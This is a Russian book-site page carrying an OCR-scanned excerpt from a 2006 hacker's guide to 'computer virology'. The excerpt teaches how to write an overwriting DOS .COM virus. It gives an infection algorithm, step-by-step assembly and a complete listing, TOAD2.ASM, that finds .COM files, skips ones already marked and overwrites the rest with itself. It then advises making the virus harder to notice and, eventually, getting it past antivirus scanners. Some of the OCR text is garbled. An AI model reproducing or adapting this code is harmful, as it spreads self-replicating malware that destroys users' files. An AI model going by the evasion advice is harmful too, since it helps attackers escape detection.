Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 17 18 19 20 21 22 < 23 > 24 25 26 27 28 29 .. 123 >> Следующая

рассерженный ламер удалит все зараженные файлы и заменит их бэкаповскими
(резервными) копиями. Естественно, такой вирус не может распространяться
от машины к машине без посторонней помощи (без намеренных и злокозненных
действий человека).
Давайте создадим более сложный вариант, который при поиске COM-файлов
игнорировал бы уже зараженные файлы. Для этого нам нужен какой-то
идентификатор - ID. Пусть это будет "а". Мы вводим его в код сразу после
прыжка к основному телу вируса:
vstart: jmp virus ID db 'a'
virus:
Теперь нам нужно прочитать 4 первых байта файла (jmp и офсет, равные 3
байтам, и наш ID - четвертый байт), а затем проверить, является ли 4-й
байт установленной "а". Если не является, то файл можно инфицировать.
Следовательно, схема будет такой:
1. найти пригодный файл. Если ни одного файла, пригодного для
инфицирования, не найдено, - выход;
68
ГЛАВА 2. Самовоспроизводство
2. _ открыть файл для чтения;
3. прочитать первые четыре байта;
4. закрыть файл;
5. сравнить 4-й байт с ID:
а) если уже инфицирован, - перейти к шагу 1,
б) если не инфицирован, - продолжить;
6. открыть файл для чтения/записи;
7. записать вирус в файл;
8. закрыть файл;
9. выход.
После некоторой оптимизации схема будет выглядеть так:
1. найти пригодный файл. Если ни одного файла, пригодного для
инфицирования, не найдено, - выход;
2. открыть файл для чтения/записи;
3. прочитать первые четыре байта;
4. сравнить 4-й байт с ID:
а) если уже инфицирован, перейти к шагу 1,
б) если не инфицирован, продолжить;
5. записать вирус в файл;
6. закрыть файл;
7. выход.
Код для шага 1:
mov ah,4eh ;служба "Search first"
xor cx,cx ;ищем нормальные атрибуты
lea dx,com_files ;нам нужен .COM-файл! int 21 h
jc exit ;выходим, если ни одного файла не найдено Мы должны определить
значение comfiles:
69
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
com_files: db"*.com",0
Код для шага 2:
mov ax,3d02h
.открываем файл для чтения/записи ;80h+1eh=9eh
mov dx,9eh int 21 h xchg bx.ax
; вставляем ax в bx
Код для шага 3:
Здесь появляется что-то новое. Мы читаем первые четыре байта файла.
Входные данные: ah: Sfh
bx: дескриптор файла сх: байты для чтения
dx: офсет буфера (буфер - место, куда мы помещаем прочитанные байты)
mov ah,3fh mov сх,4 lea dx, bytes int 21 h
Мы должны определить bytes:
bytes db ?,?,?,?
Код для шага 4:
Сравниваем 4-й байт с нашим ID:
cmp byteptr [bytes+3],'a' ;4-й байт = "а"? jnz infect ;нет, инфицируем
файл
70
ГЛАВА 2. Самовоспроизводство
mov ah,4fh ;да, перейти к "search next"
Код для шага 5: mov ah,40h
mov cx,OFFSET vend-OFFSET vstart '.Количество байтов для записи lea
dx,start ; начало вируса
int 21 h
Код для шага 6:
"
mov ah,3eh ;закрываем файл int 21 h
Код для шага 7:
int 20h
Оформим листинг по установленным правилам:
<TOAD2.ASM>.........................................
;Переписывающий COM-вирус; длина 80 байтов '.Инструкции:
; TASM /m2 TOAD2.ASM ; TUNK Д TOAD2.ASM
code segment
assume cs:code,ds:code org 100h virus proc near vstart:
71
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
jmp first
db 'а' ;Наш ID
first: mov ah,4eh ;Находим первый
find: xor cx,cx ; .СОМ-файл
lea dx,com_files ;c нормальными
int 21 h атрибутами
jc exit ;Ни один файл не найден, выход.
mov ax,3d02h mov dx,9eh int 21 h xchg bx.ax mov ah,3fh mov cx,4 lea
dx.bytes int 21 h
'.Открываем файл ;для чтения ;и записи ;Поме1даем ах в Ьх ;Читаем первые
;четыре байта и •.вносим их в ;bytes
cmp byte ptr[bytes+3],'a' ;4-й байт = "а"? jnz infect ;нет, инфицируем
файл
mov ah,3eh int 21 h mov ah,4fh jmp find infect: xor al.al mov ah,42h xor
cx.cx cwd int 21 h mov ah,40h
;3акрываем ;файл .
;Ищем следующий ("Search ;next"...
; Переходим ;к
; началу ;файла
Записываем mov сх,OFFSET vend-OFFSET vstart ;вирус lea dx,vstart
;вфайл
int 21 h
mov ah,3eh Закрываем
int 21 h ;файл
72
ГЛАВА 2. Самовоспроиэводство
exit: int 20h ; Выход
com_files db "*.com",0 bytes db ?,?,?,? vend label near virus endp code
ends end vstart
Популяция переписывающих вирусов не велика и быстро обновляется, потому
что они легко определяются по своим разрушительным действиям.
Чтобы увеличить период выживания переписывающего вируса, вы должны
снабдить его особым и хитроумным механизмом поиска - например, чтобы он
при выполнении заражал файлы в других директориях и не привлекал внимания
пользователя к той поддиректории, в которой находится. Но даже такая
стратегия не убережет его от антивирусного сканера.
А когда вы научитесь обходить сканирование, вас уже не будут устраивать
переписывающие вирусы. Вам захочется чего-то более сложного и
интересного.
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Компаньонские вирусы
Компаньонские вирусы - это следующий по сложности вид после
переписывающих вирусов. Они являются самым простым неразрушительным типом
вирусов в среде IBM PC.
Компаньонский вирус - это программа, которая дурачит пользователя,
переименовывая программы на диске нестандартными именами, а затем заменяя
Предыдущая << 1 .. 17 18 19 20 21 22 < 23 > 24 25 26 27 28 29 .. 123 >> Следующая